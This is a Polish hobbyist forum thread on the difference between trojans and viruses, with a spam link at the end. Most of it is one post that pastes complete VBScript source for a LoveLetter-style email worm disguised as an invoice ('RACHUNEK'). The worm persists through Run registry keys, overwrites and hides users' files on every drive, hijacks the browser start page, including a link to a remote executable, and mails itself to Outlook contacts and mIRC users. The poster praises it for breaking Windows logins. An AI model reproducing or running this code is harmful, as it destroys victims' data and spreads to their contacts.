Trojany

piszcie jakie są waszym zdanie najlepsze trojany bo we dług mnie Ccobra jest świetna Very Happy

Trojany czyli virusy?

Kod:

Ty chyba niewiesz co to są trojany.
Trojany czyli inaczej programy które wspomagają ludziom na schwytanie czyjegoś kompa za pomocą serwera czyli dodatek tego trojana i gdy ten trojanik się u Ciebie włączy to on swoim bezpiecznym programem zwanym trojanem łączy się z serwerem czyli z Twoim kompem i robi co chcę z Twoim kompem np. pobiera pliki z Twego dysku bądź kasuje albo i Ci przesyła pliki bądź też formatuje kompa,zmienia ustawienia komputera no prawie wszystko zdalny dostęp ma do Twojego no a Ty lokalny.

thanks

Czyli jednym słowem Trojan jest wirusem (nie na odwrót) który pozwala na przejęcie kontroli nad twoim komputerem, może i nie w pełni ale w pewnych kwestiach.

nie, wirus ma raczej za zadanie wyrzadzenie jakis szkod, i robi to samoczynnie, a trojan to tylko serwer umozliwiajacy dostep do Twojego komputera

Trojan nie jest wirusem lecz programem który ma działania szkodliwe dla innych posiadaczy komputera.Trojan tylko ułatwia klientowi nad kontrolą czyjegoś komputera.
A że programy antyvirusowe wykrywają jako wirus (serwer) to tylko dla bezpieczeństwa przyszłej ofiary.Natomiast wirus to gotowa aplikacja i sam działa. Więc to jest duża różnica między wirusem a trojanem.Podam przykładowy kod wirusa w języku "vbs" Zapisać na format np. virus.vbs

Kod:

On Error Resume Next
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
eq=""
ctr=0
Set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
main()
sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout")
if (rr>=1) then
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"
end if
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"\MSKernel.vbs")
c.Copy(dirwin&"\WinDLL.vbs")
c.Copy(dirsystem&"\RACHUNK.TXT.vbs")
regruns()
html()
spreadtoemail()
listadriv()
end sub
sub regruns()
On Error Resume Next
Dim num,downread
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel",dirsystem&"\MSKernel.vbs"
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\WinDLL",dirwin&"\WinDLL.vbs"
downread=""
downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download Directory")
if (downread="") then
downread="c:\"
end if
if (fileexist(dirsystem&"\WinFAT32.exe")=1) then
Randomize
num = Int((4 * Rnd) + 1)
if num = 1 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","www.playboy.com"
elseif num = 2 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","www.o2.pl"
elseif num = 3 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","www.plusgsm.pl"
elseif num = 4 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX.exe"
end if
end if
if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX",downread&"\WIN-BUGSFIX.exe"
regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page","www.playboy.pl"
end if
end sub
sub listadriv
On Error Resume Next
Dim d,dc,s
Set dc = fso.Drives
For Each d in dc
If d.DriveType = 2 or d.DriveType=3 Then
folderlist(d.path&"\")
end if
Next
listadriv = s
end sub
sub infectfiles(folderspec)
On Error Resume Next
dim f,f1,fc,ext,ap,mircfname,s,bname,doc
set f = fso.GetFolder(folderspec)
set fc = f.Files
for each f1 in fc
ext=fso.GetExtensionName(f1.path)
ext=lcase(ext)
s=lcase(f1.name)
if (ext="vbs") or (ext="vbe") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
bname=fso.GetBaseName(f1.path)
set cop=fso.GetFile(f1.path)
cop.copy(folderspec&"\"&bname&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="jpg") or (ext="jpeg") or (ext="bmp") or (ext="gif") or (ext="exe") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
set cop=fso.GetFile(f1.path)
cop.copy(f1.path&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="doc") or (ext="exe") or (ext="lnk") or (ext="mp3") or (ext="html") or (ext="htm") or (ext="txt") or (ext="wri") or (ext="xls") or (ext="elm") or (ext="dbx") or (ext="avi") or (ext="mpg") or (ext="wav") or (ext="mpeg") or (ext="exe") or (ext="dll") or (ext="mp1") or (ext="mp3") or (ext="rar") or (ext="bat") or (ext="lnk") or (ext="raw") or (ext="doc") or (ext="htm") or (ext="bmp") or (ext="gif") or (ext="dos") or (ext="ini") then
set doc=fso.CreateTextFile(f1.path&".vbs")
doc.write vbscopy
doc.close
set att=fso.GetFile(f1.path)
att.attributes=att.attributes+2
end if
if (eq<>folderspec) then
if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then
set scriptini=fso.CreateTextFile(folderspec&"\script.ini")
scriptini.WriteLine "[script]"
scriptini.WriteLine ";mIRC Script"
scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, if mIRC will"
scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks"
scriptini.WriteLine ";"
scriptini.WriteLine ";Khaled Mardam-Bey"
scriptini.WriteLine ";http://www.mirc.com"
scriptini.WriteLine ";"
scriptini.WriteLine "n0=on 1:JOIN:#:{"
scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }"
scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\RACHUNEK.HTM"
scriptini.WriteLine "n3=}"
scriptini.close
eq=folderspec
end if
end if
next
end sub
sub folderlist(folderspec)
On Error Resume Next
dim f,f1,sf
set f = fso.GetFolder(folderspec)
set sf = f.SubFolders
for each f1 in sf
infectfiles(f1.path)
folderlist(f1.path)
next
end sub
sub regcreate(regkey,regvalue)
Set regedit = CreateObject("WScript.Shell")
regedit.RegWrite regkey,regvalue
end sub
function regget(value)
Set regedit = CreateObject("WScript.Shell")
regget=regedit.RegRead(value)
end function
function fileexist(filespec)
On Error Resume Next
dim msg
if (fso.FileExists(filespec)) Then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
function folderexist(folderspec)
On Error Resume Next
dim msg
if (fso.GetFolderExists(folderspec)) then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
sub spreadtoemail()
On Error Resume Next
dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
set regedit=CreateObject("WScript.Shell")
set out=WScript.CreateObject("Outlook.Application")
set mapi=out.GetNameSpace("MAPI")
for ctrlists=1 to mapi.AddressLists.Count
set a=mapi.AddressLists(ctrlists)
x=1
regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a)
if (regv="") then
regv=1
end if
if (int(a.AddressEntries.Count)>int(regv)) then
for ctrentries=1 to a.AddressEntries.Count
malead=a.AddressEntries(x)
regad=""
regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead)
if (regad="") then
set male=out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject = "RACHUNEK"
male.Body = vbcrlf&"Wysyłamy wam w załaczniku rachunek prosimy o szybką odpowiedz."
male.Attachments.Add(dirsystem&"\RACHUNEK.TXT.vbs")
male.Send
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD"
end if
x=x+1
next
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
else
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
end if
next
Set out=Nothing
Set mapi=Nothing
end sub
sub html
On Error Resume Next
dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6
dta1="<HTML><HEAD><TITLE>RACHUNEK - HTML<?-?TITLE><META NAME=@-@Generator@-@ CONTENT=@-@RACHUNEK@-@>"&vbcrlf& _
"<META NAME=@-@Author@-@ CONTENT=@-@______ ?-? [link widoczny dla zalogowanych] ?-? @_______XXXXX ?-? XXXXXX XXXXXXXX ?-? March 2000@-@>"&vbcrlf& _
"<META NAME=@-@Description@-@ CONTENT=@-@Łatwe...@-@>"&vbcrlf& _
"<?-?HEAD><BODY ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#RACHUNEK.HTM#-#,#-#main#-#)@-@ "&vbcrlf& _
"ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#RACHUNEK.HTM#-#,#-#main#-#)@-@ BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@>"&vbcrlf& _
"<CENTER><p>TEN PLIK HTML POTRZEBUJE KONTROLKI ActiveX <?-?p><p>ABY URUCHOMIC TEN PLIK HTML <BR>- PROSZE WCIŚNIJ PRZYCISK #-#TAK#-# ŻEBY WŁACZYĆ ActiveX<?-?p>"&vbcrlf& _
"<?-?CENTER><MARQUEE LOOP=@-@infinite@-@ BGCOLOR=@-@yellow@-@>----------z--------------------z----------<?-?MARQUEE> "&vbcrlf& _
"<?-?BODY><?-?HTML>"&vbcrlf& _
"<SCRIPT language=@-@JScript@-@>"&vbcrlf& _
""&vbcrlf& _
"<?-?SCRIPT>"&vbcrlf& _
"<SCRIPT LANGUAGE=@-@VBScript@-@>"&vbcrlf& _
""&vbcrlf& _
"<?-?SCRIPT>"
dt1=replace(dta1,chr(35)&chr(45)&chr(35),"'")
dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""")
dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/")
dt5=replace(dt4,chr(94)&chr(45)&chr(94),"\")
dt2=replace(dta2,chr(35)&chr(45)&chr(35),"'")
dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""")
dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/")
dt6=replace(dt3,chr(94)&chr(45)&chr(94),"\")
set fso=CreateObject("Scripting.FileSystemObject")
set c=fso.OpenTextFile(WScript.ScriptFullName,1)
lines=Split(c.ReadAll,vbcrlf)
l1=ubound(lines)
for n=0 to ubound(lines)
lines(n)=replace(lines(n),"'",chr(91)+chr(45)+chr(91))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
lines(n)=replace(lines(n),"\",chr(37)+chr(45)+chr(37))
if (l1=n) then
lines(n)=chr(34)+lines(n)+chr(34)
else
lines(n)=chr(34)+lines(n)+chr(34)&"&vbcrlf& _"
end if
next
set b=fso.CreateTextFile(dirsystem+"\RACHUNEK.HTM")
b.close
set d=fso.OpenTextFile(dirsystem+"\RACHUNEK.HTM",2)
d.write dt5
d.write join(lines,vbcrlf)
d.write vbcrlf
d.write dt6
d.close
end sub

I teraz gdzie jest użyty kod np.

Kod:

elseif(ext="doc") or (ext="exe") or (ext="lnk") or (ext="mp3") or (ext="html") or (ext="htm") or (ext="txt") or (ext="wri") or (ext="xls") or (ext="elm") or (ext="dbx") or (ext="avi") or (ext="mpg") or (ext="wav") or (ext="mpeg") or (ext="exe") or (ext="dll") or (ext="mp1") or (ext="mp3") or (ext="rar") or (ext="bat") or (ext="lnk") or (ext="raw") or (ext="doc") or (ext="htm") or (ext="bmp") or (ext="gif") or (ext="dos") or (ext="ini") then

Mamy tu rozszerzenia jak "exe" "avi" itp. virus zamienia pliki tego rozszerzenia i ukrywa oryginały. natomiast nie kasuje tych plików.
Zaleta tego wirusa jest taka że psuje pliki "hta" i inne co uniemożliwia zalogowanie się do windowsa. Wirus skryptowy VBS.LoveLetter.klasy A niebezpieczny wirus skryptowy to VBS.LoveLetter.AS on kasuje pliki wszystkie dlatego nie napisze tutaj kodu za duże szkody.Wirus ma gotowe komendy działa sam w środowisku "Windows"Wirus również zaśmieca rejestr wprowadza swoje adresy chociażby do przeglądarki internetowej.
Dziękuje za uwagę Smile

Christina Ricci Undressing!
[link widoczny dla zalogowanych]